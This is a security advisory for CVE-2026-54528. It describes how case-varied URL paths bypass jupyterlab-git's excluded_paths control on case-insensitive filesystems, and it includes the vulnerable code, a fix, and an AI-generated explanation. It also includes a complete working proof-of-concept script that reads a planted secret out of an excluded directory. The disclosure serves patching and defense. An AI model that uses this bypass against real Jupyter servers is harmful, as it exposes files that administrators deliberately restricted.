VYPR
High severity7.1NVD Advisory· Published Jun 19, 2026

jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories

CVE-2026-54528

Description

Summary

jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

Vulnerable

Code

# jupyterlab_git/handlers.py:84-92
async def prepare(self):
    """Check if the path should be skipped"""
    await ensure_async(super().prepare())
    path = self.path_kwargs.get("path")
    if path is not None:
        excluded_paths = self.git.excluded_paths
        for excluded_path in excluded_paths:
            if fnmatch.fnmatchcase(path, excluded_path):  # ← always case-sensitive
                raise tornado.web.HTTPError(404)

Root

Cause

fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.

fnmatch.fnmatchcase("/project/secrets", "/project/secrets")  # True  — blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets")  # False — bypasses check

On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.

Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:

  • Read file content at any git ref (/content endpoint)
  • Read working tree files in the excluded directory
  • View git status, log, diff on the excluded path
  • Enumerate commits touching excluded files

Attack

Scenario

  1. Admin configures c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]
  2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked)
  3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass)
  4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned

Exploit

See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP. ``python import json, os, shutil, subprocess, sys, tempfile, time import urllib.request, urllib.error from jupyterlab_git.handlers import GitHandler # real import, no mock from jupyterlab_git_core.git import Git import jupyterlab_git_core PORT = 18895 TOKEN = "xtoken" BASE_URL = f"http://127.0.0.1:{PORT}" SECRET = "sk-PROD-a8f2x9q-LIVE-KEY" def post(path_seg, endpoint, body=None): url = f"{BASE_URL}/git/{path_seg}{endpoint}" data = json.dumps(body or {}).encode() req = urllib.request.Request(url, data=data, method="POST", headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"}) try: resp = urllib.request.urlopen(req, timeout=10) return resp.status, json.loads(resp.read()) except urllib.error.HTTPError as e: return e.code, e.read().decode() def main(): base_dir = tempfile.mkdtemp(prefix="jlgit_") workspace = os.path.join(base_dir, "workspace") repo_dir = os.path.join(workspace, "project") secret_dir = os.path.join(repo_dir, "secrets") os.makedirs(secret_dir) with open(os.path.join(secret_dir, "cred.txt"), "w") as f: f.write(SECRET + "\n") git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"} subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True) subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True) subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir, capture_output=True, check=True, env=git_env) config_path = os.path.join(base_dir, "jupyter_server_config.py") with open(config_path, "w") as f: f.write(f'c.ServerApp.root_dir = "{workspace}"\n') f.write(f'c.ServerApp.token = "{TOKEN}"\n') f.write(f'c.ServerApp.open_browser = False\n') f.write(f'c.ServerApp.port = {PORT}\n') f.write(f'c.ServerApp.ip = "127.0.0.1"\n') f.write(f'c.ServerApp.disable_check_xsrf = True\n') f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n') env = os.environ.copy() env["JUPYTER_CONFIG_DIR"] = base_dir env["JUPYTER_DATA_DIR"] = base_dir proc = subprocess.Popen( [sys.executable, "-m", "jupyter_server", f"--config={config_path}", "--ServerApp.jpserver_extensions={'jupyterlab_git': True}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir) for _ in range(30): try: req = urllib.request.Request(f"{BASE_URL}/api/status", headers={"Authorization": f"token {TOKEN}"}) if urllib.request.urlopen(req, timeout=2).status == 200: break except (urllib.error.URLError, OSError): pass time.sleep(0.5) else: proc.kill() shutil.rmtree(base_dir, ignore_errors=True) sys.exit("server failed to start") try: # exclusion works code, _ = post("project/secrets", "/status") blocked = code == 404 # bypass code, _ = post("project/Secrets", "/status") bypassed = code == 200 # exfiltrate code, body = post("project/Secrets", "/content", {"filename": "./cred.txt", "reference": {"git": "HEAD"}}) content = body.get("content", "") if isinstance(body, dict) else "" exfiltrated = SECRET in content ok = blocked and bypassed and exfiltrated print(f"exclusion enforced (lowercase): {blocked}") print(f"bypass (case-varied): {bypassed}") print(f"secret exfiltrated: {exfiltrated}") print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}") return ok finally: proc.terminate() proc.wait(timeout=5) shutil.rmtree(base_dir, ignore_errors=True) if __name__ == "__main__": sys.exit(0 if main() else 1) ``

pip install 'jupyterlab-git==0.53.0'
python poc.py

Fix

if fnmatch.fnmatch(path.lower(), excluded_path.lower()):
    raise tornado.web.HTTPError(404)

Or apply os.path.normcase() to both operands before comparison.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

1

Patches

Vulnerability mechanics

Root cause

"`fnmatch.fnmatchcase()` is unconditionally case-sensitive, so a case-varied URL path bypasses the `excluded_paths` check on case-insensitive filesystems."

Attack vector

An authenticated JupyterLab user sends HTTP requests to the `/git/` endpoints with a case-varied version of an excluded path segment — for example, requesting `/git/project/Secrets/status` instead of `/git/project/secrets/status` [ref_id=1]. On case-insensitive filesystems (macOS APFS, Windows NTFS) the operating system resolves both paths to the same directory, but `fnmatch.fnmatchcase()` only matches the exact-case pattern, so the exclusion check is skipped [ref_id=1]. The attacker can then read file content, git history, status, and diffs for the excluded directory [ref_id=1].

Affected code

The vulnerability resides in `GitHandler.prepare()` at `jupyterlab_git/handlers.py:84-92` [ref_id=1]. The method uses `fnmatch.fnmatchcase()` to compare the request path against admin-configured `excluded_paths`, which is unconditionally case-sensitive [ref_id=1]. The downstream `url2localpath()` resolves the case-varied path to the same filesystem location, completing the bypass [ref_id=1].

What the fix does

The patch replaces `fnmatch.fnmatchcase()` with `fnmatch.fnmatch()` after lowercasing both the request path and the excluded pattern, or alternatively applies `os.path.normcase()` to both operands before comparison [ref_id=1]. This ensures that on case-insensitive filesystems the comparison is also case-insensitive, so `/project/Secrets` correctly matches the excluded pattern `/project/secrets` and the request is blocked [ref_id=1].

Preconditions

  • configThe server must be running on a case-insensitive filesystem (macOS APFS or Windows NTFS)
  • authThe attacker must be an authenticated JupyterLab user with access to the Jupyter server
  • configAn administrator must have configured `c.JupyterLabGit.excluded_paths` with at least one path

Generated on Jun 19, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.